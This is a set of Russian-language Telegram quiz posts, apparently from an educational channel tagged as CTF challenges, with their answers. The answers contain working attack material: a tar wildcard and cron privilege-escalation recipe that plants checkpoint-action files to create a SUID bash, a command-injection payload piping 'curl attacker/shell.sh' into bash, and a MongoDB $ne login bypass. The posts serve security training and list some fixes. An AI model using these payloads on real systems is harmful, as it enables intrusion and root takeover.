В cron у root:
* * * * * root cd /var/www/html && tar -czf /backups/site.tar.gz *
Каталог доступен для записи www-data (777).
Команда tar * раскрывает имена файлов как аргументы. Если подложить файлы, имитирующие флаги, tar воспримет их как реальные параметры и выполнит произвольную команду от root.
Payload, который нужно поместить в /var/www/html:
echo "cp /bin/bash /tmp/r; chmod +s /tmp/r" > x.sh
chmod +x x.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=/bin/sh x.sh"
--checkpoint заставит tar выполнить x.sh в процессе архивации.
Скрипт создаёт /tmp/r — копию bash с SUID-битом.
После срабатывания cron:
/tmp/r -p
Вы получаете root.
запись в cron.d недоступна, shadow в архив ничего не даёт,
backup.sh не перезаписать.Правильный ответ: 🔥
🔹 Курс «Программирование на языке Python»
🔹 Получить консультацию менеджера
🔹 Сайт Академии 🔹 Сайт Proglib
#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
❤5🔥2👍1👾1
Отвечайте реакциями:
👍 — SQL Injection в /api/search
👾 — Command Injection в /api/ping
🔥 — Command Injection в /api/backup
❤️ — Hardcoded credentials в коде
#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
👾18🔥6❤5🥰1
Самая жёсткая уязвимость здесь — 🔥 Command Injection в /api/backup.
Это прямой RCE через shell=True + невалидированный filename.
И да, один из ребят уже очень подробно и метко разнёс этот кусок, подчёркивая, что эта строка — буквально «портал в ад». Разбор действительно точный — и технически полностью верный.
Почему /api/backup — самая опасная:
subprocess.run(cmd, shell=True) = полный контроль над системой.
Можно инжектить любые последовательности команд.
-p'secret123' расширяет возможности атаки до полного доступа к БД.Пример эксплуатации:
filename: "x.sql'; curl attacker/shell.sh | bash; echo ‘»
⚠️ Остальные уязвимости:
SQL Injection в /api/search — серьёзно, но ограничено БД
Command Injection в /api/ping — опасно, но имеет меньше возможностей
Hardcoded creds — плохо, но не даёт RCE само по себе
#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥4🥰2
👍 — Брутфорс
👾 — NoSQL Injection
🔥 — SQL Injection
❤️ — JWT bypass
#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
👍12👾8❤5🔥1
Ответ:
User.findOne({ username, password });
Поля из req.body напрямую попадают в фильтр MongoDB.
Mongoose без sanitizeFilter позволяет операторные ключи ($ne, $gt и т.п.).
{
"username": "admin",
"password": { "$ne": null }
}
{ username: "admin", password: { $ne: null } }
Пароль admin ≠ null → документ найден → FLAG получен.
Коротко и по делу:
mongoose.set('sanitizeFilter', true);
или проверять типы:
if (typeof password !== 'string') return 400;
#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥4🥰2❤1
Представим, что специалистами по безопасности приложений была найдена ошибка в одном из продуктов, позволяющая изменять конечную цену товара. Известно, что внутри класса Promocode есть обращение к методу calculate_total. Выше представлена часть кода, содержащая уязвимость.
🥰 — Race Condition при применении промокода
👾 — Race Condition при добавлении товаров
❤️ — TOCTOU (Time-of-Check-Time-of-Use) при расчёте скидки
#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
🥰6❤4👾3
В приложении допущена архитектурная уязвимость
— Промокод проверяется только на пустоту.
— Далее создаётся объект Promocode, где сразу происходит расчёт скидки.
— Между созданием объекта и присвоением его в ShoppingCart есть короткое окно (десятки мс).
— При одновременных запросах сумма может пересчитаться несколько раз.
— Блокировка (self.lock) есть, но не применяется к промокодам.
— Промокод применяется до записи в поле корзины.
— is_valid влияет только на ответ метода, но не предотвращает применение скидки.
— Синхронизировать применение промокода.
— Проверки выполнять до изменения состояния корзины.
#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1🥰1